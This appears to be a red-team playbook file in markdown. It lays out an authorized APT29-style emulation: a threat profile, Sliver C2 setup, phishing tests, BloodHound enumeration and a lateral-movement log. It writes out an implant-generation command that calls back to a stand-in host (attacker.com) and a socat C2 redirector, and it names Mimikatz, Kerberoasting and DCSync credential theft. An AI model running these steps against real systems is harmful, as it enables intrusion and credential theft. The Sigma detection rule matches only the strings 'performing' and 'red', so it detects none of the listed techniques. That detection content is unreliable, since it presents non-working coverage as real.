<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-red-team-engagement
description: >-
  Adversary emulation and TTP-based attack simulation testing organizational detection and response capabilities. Maps operations to MITRE ATT&CK framework with objective-based scenarios.
domain: cybersecurity
subdomain: security-testing
tags:
  - red-team
  - adversary-emulation
  - mitre-attack
  - ttp
  - c2
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1566", "T1059", "T1078", "T1021", "T1053", "T1548", "T1003"]
  tools: ["cobalt-strike", "sliver", "mythic", "caldera", "atomic-red-team", "bloodhound"]
---

# Performing Red Team Engagement

## Overview

Red team engagements simulate real-world adversaries to test detection and response capabilities. Unlike penetration testing which focuses on finding vulnerabilities, red teaming tests organizational resilience against specific threat actors using their documented TTPs.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `cobalt-strike` | Security tooling |
| `sliver` | Security tooling |
| `mythic` | Security tooling |
| `caldera` | Security tooling |
| `atomic-red-team` | Security tooling |
| `bloodhound` | Security tooling |
| Written authorization and rules of engagement | Environment requirement |
| Defined scope with in-scope targets and exclusions | Environment requirement |

## Workflow

### Step 1: Threat Profile Development

```bash
# Define adversary profile based on threat intelligence
cat <<'EOF'
ADVERSARY PROFILE
==================
Threat Actor:    APT29 (Cozy Bear) emulation
Objectives:      Data exfiltration of intellectual property
Initial Access:  Spearphishing with macro-enabled documents (T1566.001)
Execution:       PowerShell and WMI (T1059.001, T1047)
Persistence:     Scheduled tasks and registry run keys (T1053.005, T1547.001)
Priv Escalation: Token manipulation and UAC bypass (T1134, T1548.002)
Lateral Movement: WinRM and SMB (T1021.006, T1021.002)
Collection:      Automated data staging (T1074)
Exfiltration:    HTTPS C2 channel (T1041)
EOF

# Map ATT&CK techniques to detection coverage
# Use ATT&CK Navigator to visualize coverage
```

### Step 2: Infrastructure Setup

```bash
# C2 infrastructure deployment (authorized engagement only)
# Sliver C2 server setup
sliver-server

# Generate implant
sliver > generate --mtls attacker.com --os windows --arch amd64 \
  --format exe --save /opt/payloads/implant.exe

# Domain fronting setup for covert C2
# Configure CDN → redirector → C2 chain
# Use expired or categorized domains for reputation

# Redirector configuration (socat)
socat TCP4-LISTEN:443,fork TCP4:c2server.internal:443
```

### Step 3: Initial Access Execution

```bash
# Phishing payload preparation
# Create macro-enabled document (authorized test)
# Embed payload with obfuscation

# Atomic Red Team — test individual techniques
Invoke-AtomicTest T1566.001 -TestNumbers 1  # Phishing attachment
Invoke-AtomicTest T1059.001 -TestNumbers 1  # PowerShell execution
Invoke-AtomicTest T1547.001 -TestNumbers 1  # Registry run keys

# Caldera automated adversary emulation
# Deploy agent, run operation with selected ability group
```

### Step 4: Post-Exploitation & Objectives

```bash
# Active Directory enumeration with BloodHound
bloodhound-python -d target.local -u user -p pass -c all -ns $DC_IP

# Credential harvesting (authorized)
# Mimikatz — dump credentials (T1003.001)
# Kerberoasting — service ticket extraction (T1558.003)

# Lateral movement tracking
cat <<'EOF'
MOVEMENT LOG
=============
[2024-01-15 14:30] HOST-A → HOST-B via WinRM (T1021.006)
[2024-01-15 14:45] HOST-B → DC01 via SMB (T1021.002)
[2024-01-15 15:00] DC01 — DCSync for krbtgt hash (T1003.006)
[2024-01-15 15:15] Objective achieved — domain admin access
EOF
```

## Detection

```yaml
title: Red Team Engagement Detection
id: 97409ee3-be61-4fe7-970f-a1d679dd9a5c
status: experimental
description: Detects suspicious activity related to performing red team engagement techniques in security testing context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*red*"
  condition: selection
level: medium
tags:
  - attack.t1566
  - attack.t1059
  - attack.t1078
  - attack.t1021
  - attack.t1053
  - attack.t1548
  - attack.t1003
  - attack.discovery
falsepositives:
  - Authorized security testing tools during scheduled assessment windows
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Red Team Engagement Detection | windows/process_creation | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1566, T1059, T1078, T1021, T1053, T1548, T1003 |

## Verification

- [ ] Authorization documented and scope confirmed
- [ ] All planned test cases executed
- [ ] Evidence collected with timestamps and integrity hashes
- [ ] Findings documented with severity and remediation
- [ ] Report delivered to stakeholders

## References

- [MITRE ATT&CK Framework](https://attack.mitre.org/)
- [PTES — Penetration Testing Execution Standard](http://www.pentest-standard.org/)
- [NIST SP 800-115 — Technical Guide to Security Testing](https://csrc.nist.gov/publications/detail/sp/800-115/final)
